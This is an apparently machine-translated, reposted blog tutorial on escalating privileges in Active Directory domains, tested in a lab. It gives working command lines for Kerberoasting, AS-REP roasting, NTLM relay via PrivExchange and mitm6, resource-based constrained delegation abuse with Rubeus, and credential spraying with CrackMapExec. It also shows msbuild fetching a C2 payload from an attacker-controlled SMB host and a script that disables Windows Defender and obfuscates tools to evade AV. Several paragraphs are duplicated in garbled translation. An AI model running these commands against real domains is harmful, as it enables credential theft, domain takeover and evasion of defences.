本文转载自:https://www.cnblogs.com/backlion/p/10843067.html
-------------------------------------------------
我最喜欢的工具之一是Bloodhound。以图形化方式显示,因此Bloodhound是一个很好的工具,因为它可以从字面上映射出图形中的域,揭示了有关联和无关联的关系。从攻击者的角度来看,这很有趣,因为它向我们展示了目标。
我写了一整篇关于Bloodhound的文章,可以在这里阅读到,但我会展示一个tl; dr版本
假设您没有在计算机上获得一个会话,但您拥有凭据。您仍然可以使用Bloodhound的Python并远程收集数据。可以通过git进行安装
git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py/&&pip install
然后可以通过传递凭据,域和DC IP来运行
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
一旦BH完成了任务,它将以.json格式将数据存储在运行它的目录中。复制这些文件,然后将它们拖到Bloodhound中,现在您就有了一个漂亮的网络图。如果按“域管理的最短路径”排序,您将得到类似于下面的内容。
AdminAlice已登录DC
这样做的好处是,您可以直接查看管理员登录到哪些计算机,从而为您提供下一个目标。在一个拥有数百甚至数千台接受低权限凭据的计算机的域中,您不希望仅仅通过收集其他低权限凭据来浪费时间。这给出了一个目标列表,以及许多其他内容。其他用途包括识别可能具有包含凭证的数据库的SQL服务器,识别哪些机器可以连接RDP等等。我鼓励您在此深入了解它的深入功能。我还鼓励你看看GoFetc,它自动利用Bloodhound绘制的攻击计划。
通过标识目标列表和域控制器,一种权限提升的方式是Kerberoasting。因为在AD中向服务帐户颁发了服务主体名称(SPN),所以可以进行kerberoasting。然后,任何用户都可以从具有该帐户哈希密码(采用kerberos 5 tgs-rep格式)的SPN请求kerberos票证。有许多不同的工具可以进行Kerberoasting,但实际上你只需要一个工具。
GetUserSPNs.py非常简单 - 它在目标域中查询在用户帐户下运行的SPN。使用它非常简单。
现在我们有一个服务帐户的哈希值。我将它加载到hashcat(当然是GUI)中并选择hash类型13100,如下所示
它会在几秒钟内成功爆破
我们现在拥有服务帐户的凭据,这通常会对域控制器的进行成功访问。太容易了?让我们试试其他方法。
ASEPRoasting类似于Kerberosting,从这个意义上说,我们查询帐户的TGT,获取哈希,然后破解它,但是在Aseproasting的情况下有一个非常大的警告:必须禁用Kerberos预身份验证,这不是默认设置。当您通过Kerberos AS-REQ消息请求TGT时,您还提供使用您的用户名和密码加密的时间戳。然后,密钥分发中心(KDC)解密时间戳,验证来自该用户的请求,然后继续进行身份验证过程。这是kerberos的预身份验证过程,这显然是攻击者的问题,因为我们不是kdc,无法解密该消息。当然,这是设计用于防止攻击,但是如果预身份验证被关闭,我们可以向任何用户发送一个as-req,它将返回哈希密码。由于默认情况下启用了预身份验证,因此必须手动关闭它,因此这种情况很少见,但仍然值得一提。
tsmith容易受到 ASREPRoasting影响,因为选中了“不需要Kerberos预身份验证
为了利用这一点,我们将使用一个名为Rubeus的工具。Rubeus是一个滥用Kerberos的大型工具集,但是为了进行ASREPRoasting,我们关心这一部分。要使用Rubeus,首先需要安装Visual Studio。安装完成后,下载Rubeus并使用Visual Studio打开Rubeus.sln文件。
默认情况下,它将安装在rubes\bin\debug\file中。cd进入该目录,然后运行它:
.\Rubeus.exe asreproast
如果没有用户选中“不需要Kerberos预身份验证”,那么就不会有任何用户进行验证。但如果有…
然后我们可以为用户获取哈希并破解它。
请记住,示例是在已加入域的计算机上完成的,因此,如果您是从不在域上的计算机上执行此操作,则必须连接域控制器,域名,OU等
SILENTTRINITY是由@ byt3bl33d3r开发的一种新的命令和控制(C2)工具,它使用IronPython和C#。您可以选择使用MSBuild.exe,这是一个Windows二进制文件,它构建C#代码(默认情况下也安装在Windows 10中,作为.NET的一部分),以XML格式运行命令和控制(C2)有效载荷,允许然后攻击者使用底层.NET框架通过IronPython,C#和其他语言在受害者的主机上进行操作。
就个人而言,SILENTTRINITY已经取代了我工具箱中的Empire,我在这里写了一篇关于如何使用帝国的指南。还有一些地方我更喜欢Empire连接,但ST也处于'alpha'状态,所以该功能也会在其ST中体现。在我看来,ST取代Empire有三个主要原因。
以下是使用非域管理员用户凭据的全新Windows 10安装中的POC
帐户“tsmith”仅在用户的组中
使用tsmith的凭据执行代码
我在SILENTTRINITY中生成XML payload,然后通过smbserver.py将其托管在我的SMB服务器上。如果你对怎么做感到困惑,请按照我的指南进行操作。然后,我使用CME执行将在攻击者机器上获取XML文件的命令。
我在silenttrinity中生成XML有效负载,然后通过smb server.py将其托管在我的smb服务器上。如果你对怎么做感到困惑,请按照我的指导来做。然后,我使用CME执行将在攻击者机器上获取XML文件的命令。
crackmapexec 192.168.218.60 -u tsmith -p Password! -d lab.local -x 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe \\192.168.218.129\SMB\msbuild.xml' --exec-method atexec
CME执行所提供的命令,该命令运行msbuild.exe并告诉它托管在我的SMB服务器上的XML文件
我现在在ST中获得了一个会话
列出会话的信息会显示我的用户名是system,这意味着我从用户tsmith提升到了system,这是因为msbuild.exe使用–exec method atexec选项运行,该选项使用具有系统权限(或尽可能高的权限)的任务计划程序来运行命令
当然,我们然后转储凭据,现在有一个管理员密码哈希,我们可以传递或破解它。
PrivExchange是一种新技术(在过去一个月内),它利用了默认情况下Exchange服务器过度使用的事实。这是Dirkjann在一个多月前发现的,现在是快速提升特权的一种很好的方法。
它的工作原理是查询Exchange服务器,获取包含Exchange服务器凭据的响应,然后通过ntlmrelayx将响应中的凭据中继到域控制器,然后修改用户的权限,以便他们可以在域控制器上转储哈希值。
设置它有点麻烦。Exchange 2013是使用Windows 2012 R2服务器上的默认方法安装的,我对PrivExchange python脚本进行了此修改,以使其在没有有效SSL证书的情况下工作。在那之后,它运行一切顺利。
首先,启动ntlmrelayx.py并将其指向DC,通过LDAP进行身份验证并提升用户的权限。
ntlmrelayx.py -t ldap://192.168.218.10 --escalate-user rsmith
然后,通过传入攻击者IP(-ah),目标和用户/密码/域来运行privexchange.py
python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201
Privexchange.py对echange进行API调用
ntlmrelayx将Exchange服务器的凭据中继到主DC,然后提升rsmith的权限
使用rsmith的特权在DC上转储哈希值
通过对所有用户使用哈希,现在可以破解它们了。
注意:如果你运行mimikatz,它会被AV捕获,secretsdump.py是一个很好的选择,因为它不会将任何东西存储到磁盘上。
同样来自Dirk-jan,是一种利用默认AD安装的攻击。具体而言,默认情况下,计算机可以更改与其权限相关的某些属性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。此属性控制用户是否可以通过Kerberos模拟登录(几乎)域中的任何计算机。通过中继凭证可以实现这一切。我在第一部分中演示了mitm6,所以我将在这里再次使用它,但是以不同的方式传递响应。
同样来自Dirk-jan,,它是一种利用默认AD安装的攻击。具体而言,默认情况下,计算机可以更改与其权限相关的一些属性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。此属性控制用户是否可以通过Kerberos模拟登录(几乎)域中的任何计算机。通过中继凭证可以实现这一切。我已经在上文中演示了mitm6的使用方法,所以我将在这里再次使用它,但是以不同的方式传递响应。
mitm6 -i ens33 -d lab.local
然后我在提供WPAD文件时并通过LDAPS将凭据中继到主DC,同时选择委派访问攻击方法。
ntlmrelayx.py -t ldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access
受害者打开IE,它通过IPv6发出WPAD请求,攻击者(我)响应并通过LDAPS将这些凭据转发给DC。创建一台新计算机并修改委派权限,以便新的“计算机”可以通过msDS-AllowedToActOnBehalfOfOtherIdentity属性模拟LABWIN10(受害者)上的任何用户。所以我现在生成一张白银票据,并冒充用户'管理员'
getST.py -spn cifs/LABWIN10.lab.local lab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator
然后我通过secretsdump.py使用我获取到的白银票据登录到LABWIN10并转储凭据
要了解更多关于白银票据攻击及其工作原理,这是一篇很好的文章。
是的,由于msDS-AllowedToActOnBehalfOfOtherIdentity属性导致更多攻击。@ harmj0y几个星期前在此发了一篇文章。基本上,如果您能够在AD中更改计算机对象,你就可以接管该计算机权限。唯一的问题是需要有一个2012+域控制器,因为旧版本不支持基于资源的约束委派(RBCD)。在这篇文章中,EladShamir分解了整个攻击,包括更多关于RBCD的内容。
有三种工具可用于此操作:
Powermad
POWERVIEW
Rubeus
然后使用rsmith的凭据在Windows 10计算机上执行此攻击。首先,我们将executionpolicy设置为Bypass(绕过),以便我们可以导入和运行脚本。
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
然后我们检查是否可以修改自由访问控制列表(DACL)
$AttackerSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid
Get-DomainObjectACL LAB2012DC01.lab.local | ?{$_.SecurityIdentifier -match $AttackerSID}
上述命令表示是查找“用户”SID的权限,表明该组对该对象(DC)具有“创建-写入”权限。
默认情况下,这是不可利用的。这是在恶意利用管理员设置的潜在错误配置;在此示例中,管理员将“用户”组添加为DC的主体并允许GenericWrite属性。
作为POC,rsmith(属于“用户”组)无法连接DC
接下来我们要做的是创建一个新的计算机帐户,并修改域控制器上的属性,以允许新的计算机帐户冒充域控制器上的任何人,这一切都要归功于msDS-allowedToActOnBehalfOfOtherIdentity。我们可以创建一个新的计算机帐户,因为默认情况下,用户最多可以创建10个计算机帐户。powermad有它的功能。
New-MachineAccount -MachineAccount hackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText -Force)
然后,我们将新机器的SID添加到 DC上的msDS-allowedToActOnBehalfOfOtherIdentity属性
$ComputerSid = Get-DomainComputer hackermachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
然后使用Rubeus获取我们创建的机器的NT密码
.\Rubeus.exe hash /password:Spring2017 /user:hackermachine /domain:lab.local
最后,我们在目标DC上使用Rubeus的用户服务(S4U)进程模拟域管理员(Administrator)
.\Rubeus.exe s4u /user:hackermachine$ /rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator /msdsspn:cifs/LAB2012DC01.lab.local /ptt
通过导入票据,我们可以访问域控制器。
同样,这是利用系统管理员错误的并添加“用户”组以便对DC具有通用的写访问权限的设置事实。尽管我们无法通过SMB访问它,但我们修改了允许我们访问的权。如果您仍然感到困惑,这里有来自SpecterOps 的视频演示。
这个不太常见,因为它已经出现了很长一段时间了,但它被提及因为它仍然存在。MS14-025也称为组策略首选项提升漏洞。
当域管理员通过组策略首选项推送到本地管理员帐户时,它会将加密的凭据存储在域控制器上的SYSVOL共享中(任何人都可以访问SYSVOL,因为它是存储策略的位置以及域客户端需要的其他内容访问)。这通常不会成为问题,因为它是用AES加密的,对吗?是的,微软公司在网上发布了解密密钥。所以现在,攻击者可以解码密码。为了简化这个过程,metasploit有一个辅助模块。
好吧,这个不一定是“攻击”,就像它是一种做好侦察和枚举的方法一样,一些工具可以帮助解决这个问题。从文章的角度来看,这似乎有点延伸,但实际上,特权帐户非常普遍,找到一个人帐户然后登录到另一个人工作站并阅读他们的东西并不罕见。此外,拥有该用户应该没有业务访问权限的服务器的权限,这当然导致攻击者只是在任何地方转储凭据并最终找到在域控制器上工作的信誉。
好吧,这一次不一定是“攻击”,因为它是一种进行良好侦察和计数的方法,一些工具可以帮助解决这个问题。从一篇文章的角度来看,这似乎有点夸张,但事实上,特权账户是如此普遍,以至于找到一个人的账户,然后登录到另一个人的工作站,并读取他们的资料是很正常的。此外,拥有对该用户不应该具有业务访问权限的服务器的权限,这当然会导致攻击者将凭证丢到任何地方,最终找到在域控制器上工作的凭证。
这里的方法非常简单:在网络上喷涂凭据,查看您可以登录的内容。使用crackmapexec,您可以列出共享并查看您具有写入权限。
这里的方法很简单:在网络上喷涂凭据,看看你能登录什么。使用CrackMapExec,您可以列出这些共享并查看您有哪些写访问权限。
crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017 --shares
从这里开始,使用SILENTTRINITY打开用户具有写入权限的会话,运行mimikatz模块,并希望您找到具有特权的新凭据。请记住,您可以将CME与CIDR一起使用,这意味着如果您使用SILENTTRINITY作为C2服务器并使用CME触发连接,则可以通过网络将其喷射到最大会话。虽然它不是非常OpSec友好且非常嘈杂。考虑它是一个测试,看看他们的检测和响应姿势是如何
在这里,使用silenttrinity打开一个会话,讨论用户对哪些内容具有写访问权限,运行mimikatz模块,并希望您找到具有特权的新凭据。记住,你可以使用CIDE和CIDRS,这意味着如果你使用SeleTrtruthC2作为C2服务器,并使用CME来触发连接,你可以通过网络喷洒最大的会话。尽管它不太友好,噪音也不太大。把它当作一个测试,看看他们的检测和反应姿势是怎样的
另一个需要查找的是文件中的密码。有几次我发现用户在他们的Documents文件夹中存储了电子邮件,其中包含一个密码。或者他们保存一个包含密码的Excel/Word文件。这就是PowerSploit派上用场的地方。我从哪里开始使用PowerSploit?如果你想做一些恶意的事情,它有一个powershell模块。在搜索密码或任何字符串的情况下,PowerView是您的好助手。请记住,EDR基本上捕获了这个套件中的每个模块,因此我建议在使用Invoke-Obfuscation之前对它们进行编码。PowerView易于使用。下载PowerSploit,并在您解压缩的目录中打开Powershell(确保您是管理员)。
首先,允许运行脚本
Set-ExecutionPolicy Bypass
然后导入模块
Import-Module .\PowerView.ps1
在PowerView模块中有一个名为Invoke-FileFinder的命令,它允许您在文件中搜索所需的任何字符串。比如字符串'password'。
在C盘中搜索包含字符串'password'的任何内容
找到一个密码文件
请注意,这需要很长时间。它有助于缩小搜索区域并从该目录运行命令
这是一个非常简要的脚本。它将向Active Directory查询每个计算机帐户的主机名,操作系统版本和Service Pack版本,然后根据常见的Metasploit漏洞利用列表进行交叉引用。
首先导入整个PowerPloit套件(如果需要,只导入PowerView)
Import-Module .\PowerSploit.psd1
然后运行该命令
Get-ExploitableSystem -Verbose
Hurray for Windows XP!
在PowerUp模块中有一个名为“Invoke-All-Checks”的函数,它完全按照它的脚本自动执行。它会检查所有内容,从不带引号的服务路径(我在这里写了如何利用)到寻找MS14-025。查看Github了解更多信息。
使用它很简单
Invoke-AllChecks
Powerup旨在成为依赖错误配置的常见Windows权限提升向量的交换中心。
运行Invoke-AllChecks将输出任何可识别的漏洞以及任何滥用功能的规范。-HTMLReport参数还将生成报告的computer.username.html版本。
作者:@ harmj0y许可证:BSD 3-Clause必需依赖项:无可选依赖项:无
服务枚举:
Get-ServiceUnquoted - 返回具有名称空间的未加引号路径的服务
Get-ModifiableServiceFile - 返回当前用户可以写入服务二进制路径或其配置的服务
Get-ModifiableService - 返回当前用户可以修改的服务
Get-ServiceDetail - 返回有关指定服务的详细信息
Invoke-ServiceAbuse - 修改易受攻击的服务以创建本地管理员或执行自定义命令
Write-ServiceBinary - 写出一个修补的C#服务二进制文件,它添加一个本地管理员或执行一个自定义命令
Install-ServiceBinary - 将服务二进制文件替换为添加本地管理员或执行自定义命令的服务二进制文件
Restore-ServiceBinary - 用原始可执行文件还原替换的服务二进制文件
DLL劫持:
Find-ProcessDLLHijack - 为当前运行的进程查找潜在的dll劫持
Find-PathDLLHijack - 查找服务%path%dll劫持
Write-HijackDll - 写出一个可劫持的DLL
Get-RegistryAlwaysInstallElevated - 检查是否设置了alwaysInstallElevated注册表项
Get-RegistryAutoLogon - 检查注册表中的自动登录凭据
Get-ModifiableRegistryAutoRun - 在hklm autoruns中检查任何可修改的二进制文件/脚本(或其配置)
Get-ModifiableScheduledTaskFile - 检查具有可修改目标文件的schtasks
Get-UnattendedInstallFile - 检查剩余的无人参与安装文件
Get-Webconfig - 检查任何加密的web.config字符串
Get-ApplicationHost - 检查加密的应用程序池和虚拟目录密码
Get-SiteListPassword - 检索找到的McAfee的sitelist.xml文件的明文密码
Get-CachedGPPPassword - 检查缓存组策略首选项文件中的密码
其他帮助/辅助功能:
Get-ModifiablePath - 对输入字符串进行标记,并返回当前用户可以修改的文件
Get-CurrentUserTokenGroupSid - 返回当前用户所属的所有sid,无论这些sid是否被禁用
Add-ServiceDacl - 为service返回的服务对象添加dacl字段
Set-ServiceBinPath - 通过win32 api方法将服务的二进制路径设置为指定值
Test-ServiceDaclPermission - 根据给定的权限集测试一个或多个传递的服务或服务名称
Write-UserAddMSI - 写出一个MSI安装程序,提示用户添加
Invoke-AllChecks - 运行所有当前权限提升检查并返回报告
此模块执行与Metasploit'GetSystem'的功能相同。
否则,只需运行该命令即可
Get-System -Technique Token
或者
Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
这是LAB\administrator
这是LAB\system
就我个人而言,我写了一个名为adape的脚本——Active Directory评估和权限提升脚本
ADAPE是用PowerShell编写的,它使用几个不同的其他工具的函数,并自动运行它们,从而防止需要通过多个工具进行端口连接。它也被混淆加密并关闭Windows Defender以帮助我们绕过EDR。
ADAPE易于使用。下载它,将其复制到目标Windows机器上,然后运行它
PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
由于包含了所有必需的脚本,因此不需要访问到Internet,而是将结果存储在可导出的capture.zip文件中。
错误消息是正常的,除非它被中断。然后给出错误报告。
寻找GPP密码,Kerberoasting和运行Bloodhound
检查privesc,然后删除它创建的文件并压缩捕获文件
如果打开捕获文件,您将获得所有结果
同样,无论如何,这并不全面。这只是我多年来成功使用的一些工具和攻击,所以至少有一种是可行的。在第三部分中,我将讨论后期利用和权限持久性。
首先我要说的是,我完全不相信这个脚本中使用的模块。非常感谢Tim Medin,Kevin Robertson,Marcello Salvati,Will Schroeder以及Spectre Ops团队的其他成员提供本脚本中使用的模块。最后,感谢Daniel Bohannon编写的Invoke-Obfuscation,它用于混淆此脚本中的所有模块。我只是将它们组合在一起的那个人。
在我的参与和评估中,我经常运行一些PowerShell脚本来帮助识别下一个目标,检查错误的组策略设置,AD错误配置,缺少补丁等。此脚本结合了我经常使用的脚本并自动运行我在这些脚本中使用的功能,将结果输出到zip文件中。
该脚本将执行以下操作:
•通过WPAD,LLMNR和NBT-NS欺骗收集哈希值
•检查GPP密码(MS14-025)
•通过Kerberoast为帐户收集哈希值
•绘制域并通过BloodHound识别目标
•检查权限提升方法
•在网络上搜索开放的SMB共享
•在这些共享和其他可访问目录中搜索敏感文件和字符串(密码、PII或您真正想要的任何内容)。默认情况下,它在寻找“密码”的关键字。例如,如果您想搜索CVV关键字,只需将其添加到“password(密码)”旁边,例如password(密码),cvv
•检查网络上的系统补丁
•搜索附属股份
•搜索文件服务器
•收集域策略
这个脚本完全可以独立运行,而根本不使用互联网。所需的所有脚本都是混淆的PowerShell并包含在内,因此它应该绕过大多数基本的AV防御解决方案。默认情况下,它将关闭Windows Defender。如果opsec让您担心(例如目标在Defender关闭时配置了警报),那么你可以在第34行的“Set-MpPreference -DisableRealtimeMonitoring $ true”之前加上'#'进行注释它。
它使用以下模块:
Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Scripts/Inveigh.ps1
Kerberoast - https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
Bloodhound - https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe
Get-GPPP - https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Get-GPPPassword.ps1
PowerUp - https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
PowerView - https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
该脚本将要求以管理员身份运行,,因为它需要这样做。如果您没有管理员权限,它将只运行权限提升模块。如果您被UAC阻止,我建议您运行绕过UAC脚本
https://raw.githubusercontent.com/samratashok/nishang/master/Escalation/Invoke-PsUACme.ps1
运行.ps1之后,它将在正在运行的同一文件夹中创建捕获文件并将其压缩。在脚本结束时,它会删除它创建的所有文件夹(显然除了.zip文件外)。
GPP密码检查和搜索敏感文件需要一段时间,因此,如果这个脚本需要很长时间才能完成,请不要惊讶,这取决于您要搜索的域控制器、开放共享和字符串的数量。如果运行时间太长,请将这些部分注释掉。
用法:PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1